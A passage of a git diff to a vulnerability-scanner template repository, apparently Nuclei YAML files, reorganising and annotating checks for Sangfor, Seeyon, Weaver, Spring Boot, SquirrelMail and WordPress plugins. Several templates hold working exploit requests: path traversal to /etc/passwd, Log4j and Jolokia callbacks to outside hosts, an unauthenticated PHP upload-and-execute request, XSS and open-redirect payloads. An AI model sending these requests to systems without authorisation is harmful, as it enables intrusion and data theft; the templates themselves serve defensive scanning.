'Set-Cookie=' + - type: status status: - 302 - - type: word - words: - - "/download/edr_installer_" - part: body - - type: word - words: - - 'Set-Cookie=""' - part: header - negative: true - - type: word - words: - - 'Set-Cookie=' - part: header diff --git a/vulnerabilities/other/sangfor-edr-rce.yaml b/vulnerabilities/sangfor/sangfor-edr-rce.yaml similarity index 61% rename from vulnerabilities/other/sangfor-edr-rce.yaml rename to vulnerabilities/sangfor/sangfor-edr-rce.yaml index 309c0580be..3c144211c8 100644 --- a/vulnerabilities/other/sangfor-edr-rce.yaml +++ b/vulnerabilities/sangfor/sangfor-edr-rce.yaml @@ -1,12 +1,18 @@ id: sangfor-edr-rce info: - name: Sangfor EDR 3.2.17R1/3.2.21 RCE + name: Sangfor EDR 3.2.17R1/3.2.21 - Remote Code Execution author: pikpikcu severity: critical - description: A vulnerability in Sangfor EDR product allows remote unauthenticated users to cause the product to execute arbitrary commands. + description: Sangfor EDR 3.2.17R1/3.2.21 allows remote unauthenticated users to to execute arbitrary commands. reference: - https://www.cnblogs.com/0day-li/p/13650452.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + metadata: + fofa-query: app="sangfor" tags: rce,sangfor requests: @@ -21,9 +27,12 @@ requests: matchers-condition: and matchers: - type: regex + part: body regex: - "root:.*:0:0:" - part: body + - type: status status: - 200 + +# Enhanced by mp on 2022/05/31 diff --git a/vulnerabilities/other/wooyun-2015-148227.yaml b/vulnerabilities/seeyon/wooyun-2015-148227.yaml similarity index 59% rename from vulnerabilities/other/wooyun-2015-148227.yaml rename to vulnerabilities/seeyon/wooyun-2015-148227.yaml index 4a65d8356a..105f18c2f5 100644 --- a/vulnerabilities/other/wooyun-2015-148227.yaml +++ b/vulnerabilities/seeyon/wooyun-2015-148227.yaml @@ -1,13 +1,17 @@ id: wooyun-2015-148227 info: - name: Seeyon WooYun LFR + name: Seeyon WooYun - Local File Inclusion author: princechaddha severity: high - description: A vulnerability in Seeyon WooYun allows remote attackers to include the content of locally stored content and disclose it back to the attacker. + description: Seeyon WooYun allows remote attackers to include the content of locally stored content and disclose it back to the attacker via local file inclusion. reference: - https://wooyun.x10sec.org/static/bugs/wooyun-2015-0148227.html - tags: seeyon,wooyun,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: seeyon,wooyun,lfi,zhiyuan requests: - method: GET @@ -26,3 +30,5 @@ requests: part: header words: - "application/xml" + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/zhiyuan-file-upload.yaml b/vulnerabilities/seeyon/zhiyuan-file-upload.yaml similarity index 94% rename from vulnerabilities/other/zhiyuan-file-upload.yaml rename to vulnerabilities/seeyon/zhiyuan-file-upload.yaml index 4057d76160..7be425211a 100644 --- a/vulnerabilities/other/zhiyuan-file-upload.yaml +++ b/vulnerabilities/seeyon/zhiyuan-file-upload.yaml @@ -8,7 +8,7 @@ info: reference: - https://www.programmersought.com/article/92658169875/ remediation: Apply the appropriate patch. - tags: zhiyuan,rce,upload + tags: zhiyuan,rce,fileupload,seeyon,intrusive requests: - method: GET diff --git a/vulnerabilities/other/zhiyuan-oa-info-leak.yaml b/vulnerabilities/seeyon/zhiyuan-oa-info-leak.yaml similarity index 93% rename from vulnerabilities/other/zhiyuan-oa-info-leak.yaml rename to vulnerabilities/seeyon/zhiyuan-oa-info-leak.yaml index 53256a5be1..28d60c990c 100644 --- a/vulnerabilities/other/zhiyuan-oa-info-leak.yaml +++ b/vulnerabilities/seeyon/zhiyuan-oa-info-leak.yaml @@ -6,7 +6,7 @@ info: severity: info reference: - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3351.md - tags: zhiyuan,leak,disclosure + tags: zhiyuan,leak,disclosure,seeyon requests: - method: GET diff --git a/vulnerabilities/other/zhiyuan-oa-session-leak.yaml b/vulnerabilities/seeyon/zhiyuan-oa-session-leak.yaml similarity index 94% rename from vulnerabilities/other/zhiyuan-oa-session-leak.yaml rename to vulnerabilities/seeyon/zhiyuan-oa-session-leak.yaml index 0bc5c52bf0..4b48de4deb 100644 --- a/vulnerabilities/other/zhiyuan-oa-session-leak.yaml +++ b/vulnerabilities/seeyon/zhiyuan-oa-session-leak.yaml @@ -7,7 +7,7 @@ info: description: A vulnerability in Zhiyuan OA allows remote unauthenticated users access to sensitive session information via the 'getSessionList.jsp' endpoint. reference: - https://www.zhihuifly.com/t/topic/3345 - tags: zhiyuan,leak,disclosure + tags: zhiyuan,leak,disclosure,seeyon requests: - method: GET diff --git a/vulnerabilities/simplecrm/simple-crm-sql-injection.yaml b/vulnerabilities/simplecrm/simple-crm-sql-injection.yaml index 169542633f..4d25d0af0d 100644 --- a/vulnerabilities/simplecrm/simple-crm-sql-injection.yaml +++ b/vulnerabilities/simplecrm/simple-crm-sql-injection.yaml @@ -3,7 +3,7 @@ id: simple-crm-sql-injection info: name: Simple CRM 3.0 SQL Injection and Authentication Bypass author: geeknik - severity: high + severity: critical description: Simple CRM 3.0 is susceptible to SQL injection and authentication bypass vulnerabilities. reference: - https://packetstormsecurity.com/files/163254/simplecrm30-sql.txt @@ -11,7 +11,7 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cwe-id: CWE-89 - tags: sqli,simplecrm,auth-bypass,injection + tags: packetstorm,sqli,simplecrm,auth-bypass,injection requests: - method: POST diff --git a/vulnerabilities/springboot/springboot-actuators-jolokia-xxe.yaml b/vulnerabilities/springboot/springboot-actuators-jolokia-xxe.yaml index d4673ea0fa..6c614c7f55 100644 --- a/vulnerabilities/springboot/springboot-actuators-jolokia-xxe.yaml +++ b/vulnerabilities/springboot/springboot-actuators-jolokia-xxe.yaml @@ -17,16 +17,17 @@ requests: - "{{BaseURL}}/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml" - "{{BaseURL}}/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/random:915!/logback.xml" + stop-at-first-match: true matchers-condition: and matchers: - - type: status - status: - - 200 - - type: word part: body words: - "http:\\/\\/nonexistent:31337\\/logback.xml" - "reloadByURL" - "JoranException" - condition: and \ No newline at end of file + condition: and + + - type: status + status: + - 200 \ No newline at end of file diff --git a/vulnerabilities/springboot/springboot-h2-db-rce.yaml b/vulnerabilities/springboot/springboot-h2-db-rce.yaml index 6399788794..40ddf6fe9c 100644 --- a/vulnerabilities/springboot/springboot-h2-db-rce.yaml +++ b/vulnerabilities/springboot/springboot-h2-db-rce.yaml @@ -1,14 +1,19 @@ id: springboot-h2-db-rce info: - name: Spring Boot H2 Database RCE + name: Spring Boot H2 Database - Remote Command Execution author: dwisiswant0 severity: critical + description: Spring Boot H2 Database is susceptible to remote code execution. reference: - https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database - https://twitter.com/pyn3rd/status/1305151887964946432 - https://www.veracode.com/blog/research/exploiting-spring-boot-actuators - https://github.com/spaceraccoon/spring-boot-actuator-h2-rce + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 metadata: shodan-query: http.favicon.hash:116323821 tags: springboot,rce,jolokia @@ -34,4 +39,6 @@ requests: - type: word part: body words: - - '"spring.datasource.hikari.connection-test-query":"CREATE ALIAS EXEC AS CONCAT' \ No newline at end of file + - '"spring.datasource.hikari.connection-test-query":"CREATE ALIAS EXEC AS CONCAT' + +# Enhanced by mp on 2022/05/31 diff --git a/vulnerabilities/springboot/springboot-log4j-rce.yaml b/vulnerabilities/springboot/springboot-log4j-rce.yaml index 4286931f8d..5936bb1770 100644 --- a/vulnerabilities/springboot/springboot-log4j-rce.yaml +++ b/vulnerabilities/springboot/springboot-log4j-rce.yaml @@ -1,20 +1,22 @@ id: springboot-log4j-rce info: - name: Spring Boot Log4j Remote Code Injection + name: Spring Boot - Remote Code Execution (Apache Log4j) author: pdteam severity: critical + description: Spring Boot is susceptible to remote code execution via Apache Log4j. reference: - https://logging.apache.org/log4j/2.x/security.html - https://www.lunasec.io/docs/blog/log4j-zero-day/ - https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab + - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 + remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later). classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10.0 + cvss-score: 10 cve-id: CVE-2021-44228 cwe-id: CWE-502 - remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later). - tags: springboot,rce,oast,log4j + tags: cve,cve2021,springboot,rce,oast,log4j,kev requests: - raw: @@ -44,4 +46,6 @@ requests: part: interactsh_request group: 1 regex: - - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output \ No newline at end of file + - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output + +# Enhanced by mp on 2022/05/31 diff --git a/vulnerabilities/squirrelmail/squirrelmail-add-xss.yaml b/vulnerabilities/squirrelmail/squirrelmail-add-xss.yaml index e54ece65b7..d62c8be3e5 100644 --- a/vulnerabilities/squirrelmail/squirrelmail-add-xss.yaml +++ b/vulnerabilities/squirrelmail/squirrelmail-add-xss.yaml @@ -7,7 +7,7 @@ info: description: SquirrelMail Address Add Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. reference: - https://www.exploit-db.com/exploits/26305 - tags: xss,squirrelmail,plugin + tags: edb,xss,squirrelmail,plugin requests: - method: GET diff --git a/vulnerabilities/squirrelmail/squirrelmail-lfi.yaml b/vulnerabilities/squirrelmail/squirrelmail-lfi.yaml index f87a7c33a5..ad9f4b6671 100644 --- a/vulnerabilities/squirrelmail/squirrelmail-lfi.yaml +++ b/vulnerabilities/squirrelmail/squirrelmail-lfi.yaml @@ -1,12 +1,17 @@ id: squirrelmail-lfi info: - name: SquirrelMail 1.2.11 Local File Inclusion + name: SquirrelMail 1.2.11 - Local File Inclusion author: dhiyaneshDk severity: high + description: SquirrelMail 1.2.11 is vulnerable to local file inclusion. reference: - https://www.exploit-db.com/exploits/22793 - tags: lfi,squirrelmail + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: lfi,squirrelmail,edb requests: - method: GET @@ -25,3 +30,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/05 diff --git a/vulnerabilities/squirrelmail/squirrelmail-vkeyboard-xss.yaml b/vulnerabilities/squirrelmail/squirrelmail-vkeyboard-xss.yaml index dddf453c8f..8a3578b3e2 100644 --- a/vulnerabilities/squirrelmail/squirrelmail-vkeyboard-xss.yaml +++ b/vulnerabilities/squirrelmail/squirrelmail-vkeyboard-xss.yaml @@ -7,7 +7,7 @@ info: description: The Virtual Keyboard plugin for SquirrelMail is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. reference: - https://www.exploit-db.com/exploits/34814 - tags: xss,squirrelmail,plugin + tags: xss,squirrelmail,plugin,edb requests: - method: GET diff --git a/vulnerabilities/thinkcmf/thinkcmf-arbitrary-code-execution.yaml b/vulnerabilities/thinkcmf/thinkcmf-arbitrary-code-execution.yaml index aaec11c2ff..083f29a523 100644 --- a/vulnerabilities/thinkcmf/thinkcmf-arbitrary-code-execution.yaml +++ b/vulnerabilities/thinkcmf/thinkcmf-arbitrary-code-execution.yaml @@ -6,22 +6,18 @@ info: severity: high reference: - https://www.shuzhiduo.com/A/l1dygr36Je/ - tags: thinkcmf + tags: thinkcmf,rce requests: - method: GET path: - - "{{BaseURL}}/index.php?g=g&m=Door&a=index&content= diff --git a/vulnerabilities/other/ecology-filedownload-directory-traversal.yaml b/vulnerabilities/weaver/ecology/ecology-filedownload-directory-traversal.yaml similarity index 62% rename from vulnerabilities/other/ecology-filedownload-directory-traversal.yaml rename to vulnerabilities/weaver/ecology/ecology-filedownload-directory-traversal.yaml index 61101d9fa7..68a90fbf88 100644 --- a/vulnerabilities/other/ecology-filedownload-directory-traversal.yaml +++ b/vulnerabilities/weaver/ecology/ecology-filedownload-directory-traversal.yaml @@ -1,11 +1,16 @@ id: ecology-filedownload-directory-traversal info: - name: Ecology Directory Traversal + name: Ecology - Local File Inclusion author: princechaddha - severity: medium + severity: high + description: Ecology is vulnerable to local file inclusion. metadata: fofa-query: app="ๆณ›ๅพฎ-ๅๅŒๅŠžๅ…ฌOA" + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: ecology,lfi requests: @@ -21,3 +26,5 @@ requests: words: - "/weaver/" part: body + +# Enhanced by mp on 2022/08/01 diff --git a/vulnerabilities/other/ecology-springframework-directory-traversal.yaml b/vulnerabilities/weaver/ecology/ecology-springframework-directory-traversal.yaml similarity index 59% rename from vulnerabilities/other/ecology-springframework-directory-traversal.yaml rename to vulnerabilities/weaver/ecology/ecology-springframework-directory-traversal.yaml index 38a7c94887..a40b3eee7c 100644 --- a/vulnerabilities/other/ecology-springframework-directory-traversal.yaml +++ b/vulnerabilities/weaver/ecology/ecology-springframework-directory-traversal.yaml @@ -1,9 +1,14 @@ id: ecology-springframework-directory-traversal info: - name: Ecology Springframework Directory Traversal + name: Ecology Springframework - Local File Inclusion author: princechaddha - severity: medium + severity: high + description: Ecology Springframework is vulnerable to local file inclusion. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: ecology,springframework,lfi requests: @@ -19,3 +24,5 @@ requests: words: - "/weaver/" part: body + +# Enhanced by mp on 2022/08/01 diff --git a/vulnerabilities/other/ecology-syncuserinfo-sqli.yaml b/vulnerabilities/weaver/ecology/ecology-syncuserinfo-sqli.yaml similarity index 100% rename from vulnerabilities/other/ecology-syncuserinfo-sqli.yaml rename to vulnerabilities/weaver/ecology/ecology-syncuserinfo-sqli.yaml diff --git a/vulnerabilities/other/ecology-v8-sqli.yaml b/vulnerabilities/weaver/ecology/ecology-v8-sqli.yaml similarity index 100% rename from vulnerabilities/other/ecology-v8-sqli.yaml rename to vulnerabilities/weaver/ecology/ecology-v8-sqli.yaml diff --git a/vulnerabilities/other/oa-v9-uploads-file.yaml b/vulnerabilities/weaver/oa-v9-uploads-file.yaml similarity index 96% rename from vulnerabilities/other/oa-v9-uploads-file.yaml rename to vulnerabilities/weaver/oa-v9-uploads-file.yaml index e0224cf506..bf7cef51a7 100644 --- a/vulnerabilities/other/oa-v9-uploads-file.yaml +++ b/vulnerabilities/weaver/oa-v9-uploads-file.yaml @@ -7,7 +7,7 @@ info: description: A vulnerability in OA V9 uploadOperation.jsp endpoint allows remote attackers to upload arbitrary files to the server. These files can be subsequently called and are executed by the remote software. reference: - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g - tags: rce,jsp + tags: rce,jsp,fileupload,intrusive requests: - raw: diff --git a/vulnerabilities/webp-server-go/webp-server-go-lfi.yaml b/vulnerabilities/webp-server-go/webp-server-go-lfi.yaml new file mode 100644 index 0000000000..239b8e49ba --- /dev/null +++ b/vulnerabilities/webp-server-go/webp-server-go-lfi.yaml @@ -0,0 +1,27 @@ +id: webp-server-go-lfi + +info: + name: Webp server go - Local File Inclusion + author: pikpikcu + severity: high + reference: + - https://github.com/webp-sh/webp_server_go/issues/92 + metadata: + verified: true + shodan-query: http.html:"Webp" + tags: lfi,webp + +requests: + - method: GET + path: + - "{{BaseURL}}/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/vulnerabilities/wordpress/404-to-301-xss.yaml b/vulnerabilities/wordpress/404-to-301-xss.yaml new file mode 100644 index 0000000000..8b83ef8a27 --- /dev/null +++ b/vulnerabilities/wordpress/404-to-301-xss.yaml @@ -0,0 +1,50 @@ +id: 404-to-301-xss + +info: + name: WordPress 404 to 301 Log Manager <3.1.2 - Cross-Site Scripting + author: Akincibor + severity: medium + description: WordPress 404 to 301 Log Manager 3.1.2 does not escape some URLs before outputting them back in attributes, leading to reflected cross-site scripting. + reference: + - https://wpscan.com/vulnerability/4a310b4f-79fa-4b74-93f8-e4522921abe1 + - https://wordpress.org/plugins/404-to-301 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: wpscan,wp-plugin,xss,wp,wordpress,authenticated + +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + - | + GET /wp-admin/admin.php?page=jj4t3-logs&a"> HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '">' + - '404 Error Logs' + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/accessibility-helper-xss.yaml b/vulnerabilities/wordpress/accessibility-helper-xss.yaml deleted file mode 100644 index e1b5a6ec3a..0000000000 --- a/vulnerabilities/wordpress/accessibility-helper-xss.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: accessibility-helper-xss - -info: - name: WP Accessibility Helper (WAH) < 0.6.0.7 - Reflected Cross-Site Scripting (XSS) - author: dhiyaneshDK - severity: medium - description: The plugin does not sanitise and escape the wahi parameter before outputting back its base64 decode value in the page, leading to a Reflected Cross-Site Scripting issue. - reference: - - https://wpscan.com/vulnerability/7142a538-7c3d-4dd0-bd2c-cbd2efaf53c5 - tags: xss,wordpress,wp-plugin,wp - -requests: - - method: GET - path: - - '{{BaseURL}}/?wahi=JzthbGVydChkb2N1bWVudC5kb21haW4pOy8v' - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "var wah_target_src = '';alert(document.domain);//';" - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 diff --git a/vulnerabilities/wordpress/ad-widget-lfi.yaml b/vulnerabilities/wordpress/ad-widget-lfi.yaml index 62964352e5..d5b2f51334 100644 --- a/vulnerabilities/wordpress/ad-widget-lfi.yaml +++ b/vulnerabilities/wordpress/ad-widget-lfi.yaml @@ -1,14 +1,20 @@ id: ad-widget-lfi info: - name: WordPress Plugin WordPress Ad Widget Local File Inclusion (2.11.0) + name: WordPress Ad Widget 2.11.0 - Local File Inclusion author: 0x_Akoko severity: high - description: Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. + description: | + WordPress Ad Widget 2.11.0 is vulnerable to local file inclusion. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. reference: - https://cxsecurity.com/issue/WLB-2017100084 - https://plugins.trac.wordpress.org/changeset/1628751/ad-widget - tags: wordpress,wp-plugin,lfi + - https://wpscan.com/vulnerability/caca21fe-56bf-4d4c-afc8-4a218e52f0a2 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: wordpress,wp-plugin,lfi,wp,adWidget,wpscan requests: - method: GET @@ -17,7 +23,6 @@ requests: matchers-condition: and matchers: - - type: regex regex: - "root:[x*]:0:0" @@ -25,3 +30,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/01 diff --git a/vulnerabilities/wordpress/admin-word-count-column-lfi.yaml b/vulnerabilities/wordpress/admin-word-count-column-lfi.yaml deleted file mode 100644 index fd86eaf40f..0000000000 --- a/vulnerabilities/wordpress/admin-word-count-column-lfi.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: admin-word-count-column-lfi - -info: - name: Admin word count column 2.2 - Arbitrary File Retrieval - author: daffainfo,Splint3r7 - severity: high - reference: - - https://packetstormsecurity.com/files/166476/WordPress-Admin-Word-Count-Column-2.2-Local-File-Inclusion.html - - https://wordpress.org/plugins/admin-word-count-column/ - tags: wordpress,wp-plugin,lfi,wp - -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/admin-word-count-column/download-csv.php?path=../../../../../../../../../../../../etc/passwd\0' - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 diff --git a/vulnerabilities/wordpress/advanced-access-manager-lfi.yaml b/vulnerabilities/wordpress/advanced-access-manager-lfi.yaml index 9838f210f1..22f5356edb 100644 --- a/vulnerabilities/wordpress/advanced-access-manager-lfi.yaml +++ b/vulnerabilities/wordpress/advanced-access-manager-lfi.yaml @@ -1,14 +1,20 @@ id: advanced-access-manager-lfi info: - name: Advanced Access Manager < 5.9.9 - Unauthenticated Local File Inclusion + name: WordPress Advanced Access Manager < 5.9.9 - Local File Inclusion author: 0x_Akoko severity: high - description: The Advanced Access Manager WordPress plugin, versions before 5.9.9, allowed reading arbitrary files. This way one can download the wp-config.php file and get access to the database, which is publicly reachable on many servers. + description: | + WordPress Advanced Access Manager versions before 5.9.9 are vulnerable to local file inclusion and allows attackers to download the wp-config.php file and get access to the database, which is publicly reachable on many servers. reference: - https://wpscan.com/vulnerability/9873 - https://id.wordpress.org/plugins/advanced-access-manager/ - tags: wordpress,wp-plugin,lfi + - https://wpscan.com/vulnerability/dfe62ff5-956c-4403-b3fd-55677628036b + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: wordpress,wp-plugin,lfi,wp,accessmanager,wpscan requests: - method: GET @@ -18,12 +24,14 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "DB_NAME" - "DB_PASSWORD" - part: body condition: and - type: status status: - 200 + +# Enhanced by mp on 2022/08/01 diff --git a/vulnerabilities/wordpress/age-gate-open-redirect.yaml b/vulnerabilities/wordpress/age-gate-open-redirect.yaml index 2c70de7696..e2da295be5 100644 --- a/vulnerabilities/wordpress/age-gate-open-redirect.yaml +++ b/vulnerabilities/wordpress/age-gate-open-redirect.yaml @@ -11,14 +11,14 @@ info: - https://wordpress.org/plugins/age-gate metadata: verified: true - tags: wp-plugin,redirect,wordpress,wp,agegate,unauth + tags: agegate,unauth,wpscan,packetstorm,wp-plugin,redirect,wordpress,wp requests: - method: POST path: - '{{BaseURL}}/wp-admin/admin-post.php' - body: age_gate%5Bd%5D=10&age_gate%5Bm%5D=10&age_gate%5By%5D=1990&age_gate%5Bremember%5D=1&age_gate%5Bage%5D=TVRnPQ%3D%3D&action=age_gate_submit&age_gate%5Bnonce%5D=48f2b89fed&_wp_http_referer=https://attacker.com + body: age_gate%5Bd%5D=10&age_gate%5Bm%5D=10&age_gate%5By%5D=1990&age_gate%5Bremember%5D=1&age_gate%5Bage%5D=TVRnPQ%3D%3D&action=age_gate_submit&age_gate%5Bnonce%5D=48f2b89fed&_wp_http_referer=https://interact.sh headers: Content-Type: application/x-www-form-urlencoded @@ -26,4 +26,4 @@ requests: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)attacker\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/vulnerabilities/wordpress/ait-csv-import-export-rce.yaml b/vulnerabilities/wordpress/ait-csv-import-export-rce.yaml new file mode 100644 index 0000000000..9a31a4d4e8 --- /dev/null +++ b/vulnerabilities/wordpress/ait-csv-import-export-rce.yaml @@ -0,0 +1,49 @@ +id: ait-csv-import-export-rce + +info: + name: WordPress AIT CSV Import Export - Unauthenticated Remote Code Execution + author: gy741 + severity: critical + description: | + The AIT CSV Import/Export plugin <= 3.0.3 allows unauthenticated remote attackers to upload and execute arbitrary PHP code. The upload-handler does not require authentication, nor validates the uploaded content. + reference: + - https://wpscan.com/vulnerability/10471 + - https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/wp_ait_csv_rce.rb + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 9.8 + cwe-id: CWE-434 + tags: wp-plugin,rce,fileupload,unauth,wpscan,msf,wordpress,ait-csv,wp,intrusive + +requests: + - raw: + - | + POST /wp-content/plugins/ait-csv-import-export/admin/upload-handler.php HTTP/1.1 + Host: {{Hostname}} + Accept: */* + Content-Type: multipart/form-data; boundary=------------------------ab360007dbae2de8 + + --------------------------ab360007dbae2de8 + Content-Disposition: form-data; name="file"; filename="{{randstr}}.php" + Content-Type: application/octet-stream + + sep=; + + --------------------------ab360007dbae2de8-- + + - | + GET /wp-content/uploads/{{randstr}}.php HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "fe394b60dc324c3bac3060d600ad4349" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/05/22 diff --git a/vulnerabilities/wordpress/alfacgiapi-wordpress.yaml b/vulnerabilities/wordpress/alfacgiapi-wordpress.yaml index 27d4456e69..a37cc0df7e 100644 --- a/vulnerabilities/wordpress/alfacgiapi-wordpress.yaml +++ b/vulnerabilities/wordpress/alfacgiapi-wordpress.yaml @@ -1,32 +1,32 @@ -id: alfacgiapi-wordpress +id: alfacgiapi-wordpress -info: - name: alfacgiapi - author: pussycat0x - severity: low - description: Searches for sensitive directories present in the ALFA_DATA. - reference: https://www.exploit-db.com/ghdb/6999 - tags: wordpress,listing +info: + name: alfacgiapi + author: pussycat0x + severity: low + description: Searches for sensitive directories present in the alfacgiapi plugin. + reference: https://www.exploit-db.com/ghdb/6999 + tags: wordpress,listing -requests: - - method: GET - path: - - "{{BaseURL}}/wp-includes/ALFA_DATA/" - - "{{BaseURL}}/wp-content/uploads/alm_templates/ALFA_DATA/alfacgiapi/" - - "{{BaseURL}}/ALFA_DATA/alfacgiapi/" - - "{{BaseURL}}/cgi-bin/ALFA_DATA/alfacgiapi/" - matchers-condition: and - matchers: - - type: word - words: - - "Index of" - - type: word - words: - - "/wp-content/plugins/" - - "/wp-includes/ALFA_DATA/" - - "/ALFA_DATA/alfacgiapi/" - - "/cgi-bin/ALFA_DATA/alfacgiapi/" - condition: or - - type: status - status: - - 200 +requests: + - method: GET + path: + - "{{BaseURL}}/wp-includes/ALFA_DATA/" + - "{{BaseURL}}/wp-content/uploads/alm_templates/ALFA_DATA/alfacgiapi/" + - "{{BaseURL}}/ALFA_DATA/alfacgiapi/" + - "{{BaseURL}}/cgi-bin/ALFA_DATA/alfacgiapi/" + matchers-condition: and + matchers: + - type: word + words: + - "Index of" + - type: word + words: + - "/wp-content/plugins/" + - "/wp-includes/ALFA_DATA/" + - "/ALFA_DATA/alfacgiapi/" + - "/cgi-bin/ALFA_DATA/alfacgiapi/" + condition: or + - type: status + status: + - 200 diff --git a/vulnerabilities/wordpress/amministrazione-aperta-lfi.yaml b/vulnerabilities/wordpress/amministrazione-aperta-lfi.yaml index f9fc49bd56..9203c6cd03 100644 --- a/vulnerabilities/wordpress/amministrazione-aperta-lfi.yaml +++ b/vulnerabilities/wordpress/amministrazione-aperta-lfi.yaml @@ -1,13 +1,18 @@ id: amministrazione-aperta-lfi info: - name: Amministrazione Aperta 3.7.3 - Unauthenticated Local File Read + name: WordPress Amministrazione Aperta 3.7.3 - Local File Inclusion author: daffainfo,Splint3r7 severity: high + description: WordPress Amministrazione Aperta 3.7.3 is vulnerable to local file inclusion. reference: - https://www.exploit-db.com/exploits/50838 - https://wordpress.org/plugins/amministrazione-aperta - tags: wordpress,wp-plugin,lfi,wp + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: wp-plugin,lfi,wp,edb,wordpress requests: - method: GET @@ -23,3 +28,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/01 diff --git a/vulnerabilities/wordpress/analytify-plugin-xss.yaml b/vulnerabilities/wordpress/analytify-plugin-xss.yaml new file mode 100644 index 0000000000..d4547f82d2 --- /dev/null +++ b/vulnerabilities/wordpress/analytify-plugin-xss.yaml @@ -0,0 +1,43 @@ +id: analytify-plugin-xss + +info: + name: Analytify <4.2.1 - Cross-Site Scripting + author: Akincibor + severity: medium + description: | + WordPress Analytify 4.2.1 does not escape the current URL before outputting it back in a 404 page when the 404 tracking feature is enabled, leading to 